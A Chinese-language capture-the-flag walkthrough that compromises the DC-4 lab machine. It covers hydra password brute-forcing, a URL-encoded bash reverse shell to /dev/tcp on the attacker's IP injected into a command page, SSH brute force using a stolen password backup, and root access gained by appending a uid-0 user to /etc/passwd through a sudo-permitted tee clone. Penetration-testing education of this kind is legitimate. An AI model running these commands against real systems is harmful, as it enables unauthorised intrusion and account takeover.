环境准备
DC-4靶机 ip:???????
kali攻击机 ip:192.168.153.128
一、信息收集
kali攻击机中,使用 arp-scan -l 扫描c段(-l为扫描c段)确定靶机IP地址为192.168.153.129
对目标靶机使用nmap端口扫描
nmap -sV 192.168.153.129 扫描靶机开放端口(-sV探测服务软件的版本)
探测到目标开放了22端口和80端口,访问目标80端口,发现是一个登录页面,随便尝试登陆一下,发现登录失败不会有任何提示。sql注入貌似也不存在。使用gobuster 扫一下目标目录。
gobuster dir -u http://192.168.153.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
发现这几个目录想要访问都需要先登录。。。。唉,最不愿意的东西,那就爆破登录吧。。
二、hydra爆破密码
因为登录页面的一句“Admin Information Systems Login”登录用户名大概率admin没跑了,根据网站目录扫描结果,可以推测登录成功后会跳转到/command.php页面,也许页面有command这个单词,尝试用hydra的登录成功提示进行扫描。
备注:密码本是网上找的
hydra -l admin -P 133127.txt 192.168.153.129 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command"
爆破得到admin的密码为happy,登录一下,成功登录
点击command,跳转到/command.php页面,点击run,发现执行了系统命令
三、利用RCE(远程代码执行)漏洞getshell
打开bp抓包,抓取run的数据包,发送到repeater模块
在kali开启8888监听端口
nc -nlvp 8888
将bash -c 'exec bash -i &>/dev/tcp/192.168.153.128/8888 <&1'在burp的decoder模块进行URL编码(攻击机IP)
用编码后的结果替代radio的值并发送
kali攻击机成功获取到www-data的shell
进去溜达溜达左右看看,在/home目录下发现三个用户目录
在/home/jim/backups目录下有个叫old-passwords.bak的文件,里面有很多密码串
在靶机上/home/jim/backups目录下用python3起http服务
python3 -m http.server 9999
kali攻击机上用wget下载old-passwords.bak
wget http://192.168.153.129:9999/old-passwords.bak
获得密码本备份后,使用hydra尝试爆破jim的ssh登录密码
hydra -l jim -P old-passwords.bak ssh://192.168.153.129
以用户名jim,密码jibril04进行登录,成功登录靶机
使用sudo -l 发现jim账户无法sudo
在/home/jim目录下,有个mbox文件,查看文件,是一封来自root的邮件看看内容没什么有用的
有没有其他邮件呢?全局搜索mail相关的文件和文件夹
find / -name mail 2>/dev/null
在/var/mail和/var/spool/mail有一封相同的邮件,文件名叫jim,内容如下,从图中可见,charles的密码是^xHhA&hvim0y
切换到charles账户
四、sudo tee提权
切换到charles,然后执行sudo -l发现charles可以以root身份执行/usr/bin/teehee
由于/usr/bin/teehee是个自创命令,因此可以先执行/usr/bin/teehee --help来看看这个命令怎么使用
从命令帮助来看,这个应该就是tee命令的副本,功能和tee命令是一样的
试试用tee命令的提权方法来提权:
在靶机的/etc/passwd文件中新增一个用户fancy,密码为123456,其他都和root用户一致,具体操作如下
1)在攻击机上用openssl生成写入passwd的用户的密码md5散列
openssl passwd -1 -salt dc4 123456
得到$1$dc4$et4u0w92ZYIY4bsJE/gJG0
2)在靶机/etc/passwd文件中新增用户fancy
echo 'fancy:$1$dc4$et4u0w92ZYIY4bsJE/gJG0:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd
3)su - fancy密码为刚刚设置的123456成功提权到root
进入root以后去找找新发现吧,在/root下,发现一个flag.txt文件
cat flag.txt成功找到flag